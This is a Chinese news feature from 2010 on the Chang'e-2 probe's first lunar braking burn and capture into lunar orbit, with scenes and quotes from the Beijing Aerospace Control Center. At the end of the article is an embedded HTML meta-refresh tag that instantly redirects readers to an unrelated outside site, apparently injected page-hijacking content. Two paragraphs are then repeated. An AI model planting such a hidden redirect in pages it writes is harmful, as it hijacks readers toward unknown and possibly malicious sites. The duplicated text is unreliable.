完美的太空“刹车”——我国第二颗月球卫星诞生侧记

<br /><br />http://news.mod.gov.cn/headlines/2010-10/07/content_4198798.htm

经历35万多公里奔月之旅后，高速飞行的“嫦娥二号”卫星，今天上午迎来探月征程上的一次严峻考验——近月制动。

    这是一次极为关键的动作，成败与否直接决定“嫦娥二号”能否被月球捕获，成为我国第二颗月球卫星。

    10时30分，北京航天飞行控制中心大厅右侧的显示屏上，灰色的月球在墨色的宇宙背景下缓缓旋转，仿佛正在期待着久违的恋人。月球周围，繁星闪烁，恰似盏盏为“嫦娥”指路的明灯。中间的显示屏上，一条绵长的红色弧线，清晰地显示着“嫦娥二号”的飞行轨迹。

    指控台前，已奋战5昼夜的北京航天飞行控制中心主任朱民才告诉记者：“这次变轨，无论对卫星还是对测控，都是极大的考验。失之毫厘，差之千里。控制稍有偏差，卫星就可能飞掠月球，或者撞向月球。”

    11时06分，调度口令依次在飞控大厅响起。

    “490N发动机开机！”

    “第一次近月制动开始！”

    大屏幕上，金黄色的“嫦娥二号”卫星轻盈地摆动身躯，慢慢飞向月球。三维图像清晰显示，卫星飞行留下的红色轨迹，与绿色目标轨道渐渐重合。

    “青岛跟踪正常！”“喀什跟踪正常！”“遥测数据正常！”大厅里不时传来各测控站的报告声。32分钟后，调度大声宣布：“发动机关机，第一次近月制动结束！”

    随即，终端机房内，紧张的轨道计算开始了。卫星是否准确进入环月轨道，谜底将在这里揭晓。

    操作台显示屏上，各种数据、画面不停地刷新着，技术人员目光专注，手指快速敲击键盘：根数计算、轨道复合、数据比对……

    随后，北京航天飞行控制中心宣布：“嫦娥二号”成功进入环月轨道！大厅里顿时响起热烈的掌声。中心党委书记刘清华激动地说：“这是一次完美的太空‘刹车’！接下来，我们还要对卫星进行第二次、第三次近月制动。我们有信心圆满完成任务，向祖国和人民交上一份优秀答卷！”

    此刻，记者向大屏幕望去，月亮之上，“嫦娥”姑娘翩翩起舞，舞出优美的空中芭蕾……<meta http-equiv="refresh" content="0; url=http://sdw.cc">
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    这是一次极为关键的动作，成败与否直接决定“嫦娥二号”能否被月球捕获，成为我国第二颗月球卫星。

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    指控台前，已奋战5昼夜的北京航天飞行控制中心主任朱民才告诉记者：“这次变轨，无论对卫星还是对测控，都是极大的考验。失之毫厘，差之千里。控制稍有偏差，卫星就可能飞掠月球，或者撞向月球。”

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